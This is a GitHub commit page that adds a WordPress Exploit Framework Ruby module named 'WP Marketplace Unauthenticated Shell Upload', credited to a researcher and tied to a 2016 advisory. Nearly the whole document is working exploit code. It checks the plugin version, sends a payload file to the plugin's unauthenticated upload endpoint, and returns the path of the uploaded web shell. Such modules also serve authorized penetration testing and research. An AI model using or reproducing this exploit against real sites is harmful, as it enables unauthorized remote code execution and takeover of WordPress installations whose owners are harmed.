Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit e79b231

Browse files
committed
Add WP Marketplace shell upload
1 parent c36725e commit e79b231

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::WpMarketplaceShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Marketplace Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8642'],
15+
['URL', 'http://labs.sucuri.net/?note=2016-10-17']
16+
],
17+
date: 'Oct 14 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wpmarketplace')
23+
end
24+
25+
def uploader_url
26+
normalize_uri(wordpress_url_admin, 'admin-post.php?task=wpmp_upload_previews')
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_file_from_string('Filedata', payload.encoded, payload_name)
32+
builder
33+
end
34+
35+
def uploaded_payload_location
36+
normalize_uri(wordpress_url_uploads, 'wpmp-previews', upload_result.body)
37+
end
38+
end

0 commit comments

Comments
 (0)